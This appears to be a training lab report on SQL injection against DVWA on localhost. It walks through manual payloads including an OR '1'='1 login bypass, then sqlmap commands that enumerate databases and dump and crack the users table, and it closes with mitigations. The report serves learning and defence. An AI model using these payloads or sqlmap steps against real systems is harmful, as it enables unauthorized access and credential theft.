Security Testing Report – DVWA SQL Injection Project

1. Introduction

This project focuses on identifying and exploiting SQL Injection vulnerabilities in **Damn Vulnerable Web Application (DVWA)** running on a local environment.
The goal of this test is to understand:

- How SQL Injection works
- How an attacker manipulates SQL queries
- How data is extracted from a vulnerable server
- How to recognize the risks and fix them

This report includes **manual exploitation**, **automated testing using SQLMap**, **database enumeration**, and **extraction of user credentials**.

---

2. About DVWA

DVWA is an intentionally vulnerable web application used for training in:

- Ethical Hacking
- Penetration Testing
- Web Application Security
- Bug Bounty

It contains multiple vulnerabilities such as:

- SQL Injection
- XSS
- CSRF
- Command Injection
- Weak Authentication
- File Upload Vulnerability
- Broken Access Control
- Session Management Weaknesses

It is designed **ONLY for educational use** and is completely safe when used on *localhost*.

---

3. Objective of SQL Injection Testing

The primary objectives were:

1. Identify SQL Injection vulnerability
2. Exploit the vulnerability manually
3. Automate SQL Injection using SQLMap
4. List available databases
5. Extract DVWA database tables
6. Dump “users” table
7. Crack password hashes
8. Demonstrate the real impact of SQLi
9. Provide mitigation strategies

---

4. Environment Setup

Component	Details
System	Windows 10
Local Server	XAMPP
Practice Lab	DVWA on localhost
Tools Used	Browser DevTools, SQLMap
Web Server	Apache 2.4.58
PHP Version	8.2.12
DBMS	MySQL / MariaDB
DVWA Security Level	LOW

---

5. Manual SQL Injection Testing (Step-by-Step)

5.1 Changing DVWA Security Level

- Logged into DVWA
- Navigated to **DVWA Security**
- Security Level → **LOW**
- Purpose: LOW mode disables security checks so SQLi can be tested.

5.2 Opening SQL Injection Module

Path:
Vulnerabilities → SQL Injection

This module contains a text field:

```
User ID: [input] → Submit
```

DVWA internally runs this SQL query:

```
SELECT * FROM users WHERE id = '$id';
```

If `$id` is not sanitized → vulnerability exists.

5.3 Normal Query Test

Input:

```
1
```

Output shows:

- ID: 1
- First Name: admin
- Surname: admin

This confirms the database query is working.

5.4 Testing for SQL Injection

Input:

```
1'
```

Output:
 SQL syntax error → SQL Injection confirmed.

This means the application is directly inserting user input into a SQL query.

5.5 Exploiting SQL Injection

Input:

```
1' OR '1'='1
```

Output:
✔ All users listed (admin, gordon, pablo, smithy…)

This works because:

```
1' OR '1'='1'  → always TRUE
```

So the database returns **all rows**.

---

6. Login Bypass Using SQL Injection

DVWA Login Page
Entered:

Username:

```
admin' OR '1'='1
```

Password:

```
anything
```

Result:
✔ Successful login without correct password.

This modifies login query:

```
SELECT * FROM users
WHERE username='admin' OR '1'='1'
AND password='anything';
```

Since `'1'='1'` is TRUE → Login bypass.

---

7. Automated SQL Injection Using SQLMap

SQLMap is an automated penetration testing tool that detects and exploits SQLi.

Base command used:

```
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="security=low; PHPSESSID=xxxx" --batch
```

7.1 SQLMap Step 1 – Vulnerability Detection

SQLMap identified:

- Boolean-based SQL Injection
- Error-based SQL Injection
- Time-based SQL Injection
- UNION-based SQL Injection

DBMS detected:

- MySQL ≥ 5.0 / MariaDB

✔ Confirmed that `id` parameter is vulnerable.
✔ Confirmed backend technology.

7.2 SQLMap Step 2 – Fetching Database List

Command:

```
--dbs
```

SQLMap returned 6 databases:

- dvwa
- mysql
- phpmyadmin
- information_schema
- performance_schema
- test

Attacker can now see entire database server structure.

7.3 SQLMap Step 3 – Checking DVWA Database Tables

Command:

```
-D dvwa --tables
```

Tables discovered:

- access_log
- guestbook
- security_log
- **users** ← critical

---

8. Dumping Sensitive User Data (Most Important Step)

8.1 SQLMAP Users Table Dump

Command:

```
-D dvwa -T users --dump
```

SQLMap extracted complete table:

Username	Hashed Password	Cracked Password
admin	5f4dcc…	password
gordonb	e99a18…	abc123
pablo	0d107d…	letmein
smithy	5f4dcc…	password
1337	3c59dc…	charley

✔ SQLMap automatically cracked MD5 hashes
✔ Full credentials leaked
✔ Total database compromise

---

9. Observations & Security Impact

If this vulnerability existed in a real application:

9.1 Total Database Exposure

Attacker can extract:

- user accounts
- passwords
- financial records
- personal data

9.2 Authentication Bypass

Attacker can log in as admin.

9.3 Data Tampering

Attacker can:

- Modify database
- Delete records
- Insert malicious entries

9.4 Server Takeover

Depending on privilege level, attacker can:

- Run system commands
- Upload backdoors
- Deface the website

---

10. Mitigation & How to Fix SQL Injection

To prevent SQL Injection:

✔ Use Prepared Statements (Parameterized Queries)

Example:

```
SELECT * FROM users WHERE id = ?
```

✔ Validate and sanitize all inputs

✔ Use ORM frameworks (Hibernate, Eloquent, etc.)

✔ Disable detailed error messages

✔ Use strong passwords and hashing

✔ Implement Web Application Firewall (WAF)

---

11. Conclusion

This project demonstrated:

- Manual SQL Injection
- Login Bypass
- Automated SQL Injection using SQLMap
- Database enumeration
- Table extraction
- Credential dumping
- Password cracking
- Security impact analysis
- Mitigation strategies